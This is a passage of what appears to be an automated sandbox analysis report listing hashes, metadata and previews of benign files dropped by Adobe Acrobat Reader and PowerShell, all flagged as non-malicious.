SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJfbPtdPeUkwRe9:YvXKX0ZiYpW75OGDV8Ukee9
MD5:	698CB4E9D9219C5E44C1EBDA14F210D2
SHA1:	59FB5258E876CBB1A033CD176A1C6934B37EA7E5
SHA-256:	52B3439A30E8D28E8D3B069E0F6CEE1688CD7ECF6012B13E0CDE01BA98AACD78
SHA-512:	59044A64DCD7B3FF8CFA320BBCD913A3C546DA7E2956740B5EDB14A652C340A7E74744B4BD7CAC29645DD78183FC3642EE6C68EC90C688542EE58972AFC65B5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.276354567878757
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJf21rPeUkwRe9:YvXKX0ZiYpW75OG+16Ukee9
MD5:	C657133E56974B1EF8CCCE028831C719
SHA1:	713A2CFE61AFC68904446C367EF9A76E5146A5C9
SHA-256:	AF579EDF81F619E1778631680803A66C73607509367E0396A9AB845BA24E7A6D
SHA-512:	1AA21414CB4207A5EF79C7A1F219BB473B4961F1A1A55CA6590C866365AA5E6A08778BEC261D09764F76578F96D2158661DF91DC9EBB2AA0E909C2B8048E72EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658854492523354
Encrypted:	false
SSDEEP:	24:Yv6X+iBamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSm:YvqNBgkDMUJUAh8cvMm
MD5:	32D922F4CB2F48B4DC8884A66300B4D6
SHA1:	4F6166C02C1BE62AB2B93E1960227480EC79E757
SHA-256:	9A0056ED1A2EA49F76D71EB4B397C86CE0B242705FFAA9FADAF91519E6C17466
SHA-512:	1A3D8FC7A432FBBD7F907A66154913AC54A276131B1148B6357A6BF50EB84D7A86CCEFBDBFEB5A63657668643ADDE5A5C01A62EF0DB749C60DA76C49B50E1FE6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.248441921046607
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJfshHHrPeUkwRe9:YvXKX0ZiYpW75OGUUUkee9
MD5:	D046604C256C72DF93863B0551FE3CE1
SHA1:	2C03A3EFA92014372457246F01124E129389741B
SHA-256:	9D0F3C6603185CF7065ED7838936D575F013AC7C09CCCB04DCF0EF11877753A5
SHA-512:	FB205B1CE2B382CB64A81523180B0F1777DA2C319E7223FA7EEF19133ADA3EE05E62068B1C61FFEBCFC6F400C034509B28B0CA342E357A211B1EA62D1022188F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.258066304437309
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJTqgFCrPeUkwRe9:YvXKX0ZiYpW75OGTq16Ukee9
MD5:	CC112480A7B8266A56E08D309F80C67B
SHA1:	AECC4B4DBAE220CA230CCB6274E51342C002027B
SHA-256:	2470308C7F9DA66F6B96621FE3E969ACECB1CA9CA14CDC02577F5C894146151C
SHA-512:	F496A84B9F654234E9D473816A07AA907B0C9F540B610A5406AED045BD0B2CC6DB3DC2975112017013C3686F5EEC4DCDDAD4CCF0C9180153395563BBA2A9BF63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145046833923549
Encrypted:	false
SSDEEP:	24:Y/eyhAa8VHayPsPqRSyKbpJfcZhDgj+yj0SQegs2S12LSaCSm/8imij5LP9yuQOG:YWRSrp84+EBBdEG/bmmJP90
MD5:	5032C6F4EC01B97789E4EFA3E933C519
SHA1:	D7D583FBA148B0B099B4D3368343EB617B5DC6FA
SHA-256:	8F7FE4969ED894B775D716ED3ECAE9DCD49F83184A16D8CA47F461F3E9D2D6DF
SHA-512:	0B61B6B81E5DC530CA8A0709E31D76BFFBBAB8B2A05CC02E5ECE11702B2B6309B3186C6EAB94FD2DFBBB295F14559A5AADD3960CAFBF0F187EDA97BFE8ED4E80
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f3c014dc96e15f008c096831dc0dce5c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736564047000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"cff161c63f409c2a1e43c43d54a15156","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736564047000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e359c3bf431c18435a3b192e20f38267","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736564047000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"966a540c8855eabb4345ebfe8039d726","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736564047000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a7660e0b9428e3ca5b60cc9a70777a6d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736564047000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"41596d589b4523bc8611d823761c5c1f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9847507372673264
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp7lE4zJwtNBwtNbRZ6bRZ4elEF:TVl2GL7ms6ggOVp5vzutYtp6PLI
MD5:	A297D14B536FCB59ED453DF77428FE99
SHA1:	F2A2B5C436675018A46039A09FA506FC47BCDD6A
SHA-256:	51863728E94FC3235ACCE92AB225E8F63A3121739D4BF626CBFEC8D8C0D59BE9
SHA-512:	FB8786BF62C4FF2AC1A990D86913FD7A35646AD09C5C8FDF19B7462B45D13AF637C78E9C36224BCC0D6DF19EA348876688A786519BA012BF9B4A778443A0B84E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3352953019678309
Encrypted:	false
SSDEEP:	24:7+tCAD1RZKHs/Ds/Sp7lEPzJwtNBwtNbRZ6bRZWf1RZKOqLBx/XYKQvGJF7ursbn:7MCGgOVp5YzutYtp6PMrqll2GL7msbn
MD5:	9A141C9963BE8266DF9DB37F430309E5
SHA1:	B5C354F5B5609A65232D9B5743E798A56B6F1193
SHA-256:	2F01D0F53C6D64CD7163B6544008DF5010E0D546B03C6E124358C96223036CED
SHA-512:	14D76C5E27ACC8A5DB0501A321B8872307B2B25C1FCCD3191DD533990A7C1515EEBFDD6DA57E6BB80BAA5F4DB4DD979C8783745D787AE783B228F2DE36403BE8
Malicious:	false
Preview:	.... .c.....17a`......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgOerCKCPI5evSTqVjZWXjjXMuYyu:6a6TZ44ADEprCRsqVAXjQuK
MD5:	7FBCB24116BC36A408EACABFDB597FA6
SHA1:	1A1381725BCBF2B8651ABD2C35D5DAE9589F391C
SHA-256:	351DEC714728C1214839F18F6843DFAEEB98C601BB9B83A8BDEC10250B8C3D42
SHA-512:	529A300864289E0DD9D0C6B75E92D0ACB728763246DB68C1B94E71F487BC8EEF41DBD3CA8338AFC3F63B7E2805FEE3EA95242F643CE616CCB0CFB83601511BC6
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIf3a7c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsasww:Qw946cPbiOxDlbYnuRK+bJ
MD5:	2AC30AF56FFDBAB222DEBE49C71C5243
SHA1:	7E37AB8C48AF0121AF6031F00B5412C33C8B033B
SHA-256:	65DFBE9249204301444EAD6D4C188766CDD03C02D948EAA9A256C4506C023E12
SHA-512:	1A0AED7A4D59FA485787A8287B5CA839C3CC7FEF34F36838346B59EC3B8091614730C5F85F5C448706A478319BA0677678C9DE804A17938DE9529939B91AEED0
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.5.4.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3lcc24e.nxh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tdl2i3k2.lxj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-54-00-924.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.345210961151398
Encrypted:	false
SSDEEP:	384:+dJ1Q8RWSaRxEC6sGD7WGBSuArNOQx1LzxYblJr6GiStnwLQyHKi6T6zCLydQPPu:9RZ
MD5:	45742C1E74AD35D45A8C91B215C8C2EE
SHA1:	76298D9FCA9F9E997D0C8F876C23B1AC85001FC7
SHA-256:	25B53B5FEDDE7F759FEEA0A6A84F6148FDC64BE00C8043431A2573B632D5A5B5
SHA-512:	320C3056C35A471C1C1F50CAE2A88CF59045DE6BA7AC4A0DAE17BE8FB567A717A31EA635EBF333B8AE9CCE7D6D9F6E990162F9D6627D7DDBD3ECF0194E9728F2
Malicious:	false
Preview:	SessionID=c3dd2e1c-f122-453d-b6a8-c182cfab30a4.1736564040945 Timestamp=2025-01-10T21:54:00:945-0500 ThreadID=7808 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c3dd2e1c-f122-453d-b6a8-c182cfab30a4.1736564040945 Timestamp=2025-01-10T21:54:00:964-0500 ThreadID=7808 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c3dd2e1c-f122-453d-b6a8-c182cfab30a4.1736564040945 Timestamp=2025-01-10T21:54:00:964-0500 ThreadID=7808 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c3dd2e1c-f122-453d-b6a8-c182cfab30a4.1736564040945 Timestamp=2025-01-10T21:54:00:965-0500 ThreadID=7808 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c3dd2e1c-f122-453d-b6a8-c182cfab30a4.1736564040945 Timestamp=2025-01-10T21:54:00:965-0500 ThreadID=7808 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394724131986178
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbT:rj
MD5:	7D858FA21170223FB25E84AA5719ECB5
SHA1:	4C4D34BD929B0F5119279D7F6628EC5D0D4A8EBE
SHA-256:	AD8624C7AFF36F70F1AD0470E4861501E819392914E3E0BD0453C3B9A14D54ED
SHA-512:	8544F59D89D8EC0D60D238F7541373251BAB62B001EF128B17A64857A30FF05628AD8E552E964953AD564D76A0F29B9697F2116A4F74AE06C35F2739E1935C00
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\52f65016-e415-4d5d-9656-67b31bd52987.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\82bcd867-8aeb-43b8-8abb-8ceb646824f7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a7f45c7a-cbf0-4352-ba9b-52e336be5a83.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
